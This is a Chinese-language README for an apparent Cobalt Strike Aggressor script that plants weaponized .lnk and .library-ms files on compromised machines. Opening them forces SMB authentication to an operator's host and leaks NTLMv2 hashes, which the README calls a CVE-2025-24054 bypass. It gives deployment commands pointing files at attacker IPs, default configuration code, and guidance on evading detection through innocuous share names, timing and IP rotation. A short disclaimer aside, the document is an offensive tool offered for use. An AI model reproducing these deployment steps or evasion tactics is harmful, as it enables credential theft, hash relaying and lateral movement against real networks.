LNK Weaponizer - Cobalt Strike Aggressor 脚本

一个全面的 Cobalt Strike Aggressor 脚本，用于武器化并执行恶意 LNK 文件和 Library-MS 文件，以泄露 SMB NTLMv2-SSP 哈希。包含 CVE-2025-24054 绕过技术。

⚠️ 免责声明

此工具仅用于教育和研究目的。作者对任何滥用此代码的行为不承担任何责任。仅在你拥有或明确获准测试的系统上使用。

捕获 NTLM 哈希

该脚本生成武器化的 .lnk 和 .library-ms 文件，当打开时会触发向操作者主机的 SMB 身份验证。
泄露的 NTLMv2 哈希不会在 Cobalt Strike 中显示，必须使用外部工具（如 Responder、Impacket 的 ntlmrelayx.py 或 Inveigh）在攻击者系统上运行来捕获。
收集到的哈希可以用 Hashcat 破解，或通过中继进行进一步的横向移动。

🎯 功能

• LNK 文件武器化：创建用于 NTLM 哈希捕获的恶意快捷方式文件
• Library-MS 文件创建：实现 CVE-2025-24054 绕过技术
• 右键菜单集成：通过 Cobalt Strike 的 beacon 上下文菜单轻松访问
• 命令行界面：用于自动化和脚本编写的直接命令
• 交互式对话框：用户友好的参数输入
• 快速部署：用于快速部署的预配置设置
• 全局配置：轻松自定义默认设置

📁 项目结构

cobalt-strike-aggressor/
├── lnk_weaponizer.cna           # 主 Aggressor 脚本 (v2.0)
├── standalone_lnk_weaponizer.ps1 # 独立 PowerShell 版本
├── README.md                    # 本文档
├── INSTALL.md                   # 安装和设置指南
└── examples/
    ├── usage_scenarios.md       # 实际使用示例
    └── sample_targets.csv       # 示例批量操作文件

🚀 安装

1. 将 lnk_weaponizer.cna 复制到你的 Cobalt Strike Aggressor 脚本目录
2. 在 Cobalt Strike 中加载脚本：
   • 转到 Cobalt Strike → Script Manager
   • 点击 Load 并选择 lnk_weaponizer.cna
3. 脚本将自动初始化并显示可用命令

📖 使用

右键菜单选项

在 Cobalt Strike 中右键单击任意 beacon 以访问：

1. 创建 LNK 文件：用于自定义 LNK 创建的交互式对话框
2. 创建 Library-MS 文件：用于 Library-MS 创建（CVE-2025-24054 绕过）的交互式对话框
3. 快速 LNK（默认设置）：使用预设值快速部署 LNK
4. 快速 Library-MS（默认设置）：使用预设值快速部署 Library-MS

命令行命令

LNK 文件命令

# 使用自定义参数创建 LNK 文件
lnk_create <path> <ip> <share> <file>

# 示例
lnk_create C:\Temp 192.168.1.10 share payload.exe

Library-MS 文件命令

# 使用自定义参数创建 Library-MS 文件
library_create <path> <ip> <share>

# 示例
library_create C:\Temp 10.10.14.22 share

快速命令

# 使用默认设置
lnk_quick
library_quick

# 显示帮助
lnk_help

🔧 配置

默认设置

脚本使用以下可配置的默认值：

• IP：192.168.1.10
• 共享：share
• 路径：C:\Temp

自定义默认值

编辑 lnk_weaponizer.cna 中的全局变量：

global('$default_ip $default_share $default_path');
$default_ip = "192.168.1.10";
$default_share = "share";
$default_path = "C:\\Temp";

🎯 工作原理

LNK 文件技术

1. PowerShell 脚本生成：创建用于生成恶意 LNK 文件的 PowerShell 脚本
2. LNK 文件创建：使用 Windows Shell COM 对象创建指向远程 SMB 位置的快捷方式
3. 图标触发：强制资源管理器从远程二进制文件获取 PE 图标，触发 NTLM 身份验证
4. 哈希捕获：用户与文件交互时捕获 NTLMv2-SSP 哈希

Library-MS 技术（CVE-2025-24054 绕过）

1. XML 生成：创建带有 UNC 路径引用的 Library-MS XML 文件
2. 文件创建：在目标目录中生成 .library-ms 文件
3. 用户交互：当用户双击 Library-MS 文件时，Windows 尝试访问 UNC 路径
4. 身份验证触发：触发 SMB 身份验证，捕获 NTLM 哈希

技术细节

这两种技术创建的文件：

• 指向远程 SMB 位置
• 在访问时触发身份验证
• 绕过常见的安全控制
• 提供可靠的哈希捕获

📊 输出格式

脚本提供详细的日志记录：

[+] 正在创建 LNK 文件于 TARGET-COMPUTER
[+] 目标 UNC: \\192.168.1.10\share\payload.exe
[+] 本地路径: C:\Temp
[+] LNK 武器化完成
[!] 等待用户点击 LNK 文件以捕获 NTLM 哈希

🛡️ 安全考虑

检测规避

• 使用看起来合法的共享名称和路径
• 考虑部署时机以避免检测
• 监控安全工具告警
• Library-MS 技术提供额外的规避能力

操作安全

• 使用专用的 SMB 服务器进行哈希收集
• 实施适当的日志记录和监控
• 遵循组织的红队流程
• 记录所有测试活动

法律合规

• 确保在测试前获得适当授权
• 记录所有测试活动
• 尊重范围和边界

🔍 故障排除

常见问题

1. 未找到 Beacon

   • 确保目标计算机有活动的 beacon
   • 检查批量操作中的计算机名称拼写

2. 权限不足

   • 验证对目标路径的写入权限
   • 检查目标系统上的 UAC 设置

3. PowerShell 执行策略

   • 脚本使用 bpowershell() 处理限制
   • 确保目标上 PowerShell 可用

调试模式

通过修改脚本启用详细输出：

# 添加调试日志
blog($bid, "[DEBUG] 执行命令: " . $command);

📝 示例

场景 1：LNK 文件部署

# 在特定目标上创建 LNK 文件
lnk_create C:\Users\Public\Desktop 10.0.0.5 public malware.exe

场景 2：Library-MS 绕过

# 创建用于 CVE-2025-24054 绕过的 Library-MS 文件
library_create C:\Users\Public\Desktop 192.168.1.100 share

场景 3：快速攻击

# 使用默认设置进行快速部署
lnk_quick
library_quick

🔬 高级技术

CVE-2025-24054 绕过

Library-MS 技术通过以下方式实现 CVE-2025-24054 的绕过：

• 使用 Library-MS 文件格式替代传统的 LNK 文件
• 利用 Windows 库系统触发身份验证
• 提供额外的规避能力

规避策略

• 文件命名：使用真实的名称和扩展名
• 路径选择：部署在常见的用户目录中
• 时机选择：在正常工作时间执行
• 轮换：变换 SMB 服务器 IP 和共享名称

🤝 贡献

1. Fork 本仓库
2. 创建功能分支
3. 进行更改
4. 充分测试
5. 提交 Pull Request

📄 许可证

本项目按原样提供，仅供教育用途。请负责任地使用，并遵守适用的法律法规。

🙏 致谢

• Cobalt Strike 团队提供的 Aggressor 框架
• 红队社区的测试和反馈
• 率先探索 LNK 基础攻击的安全研究人员
• CVE-2025-24054 研究的贡献者

请记住：在对任何系统进行测试之前，务必获得适当的授权。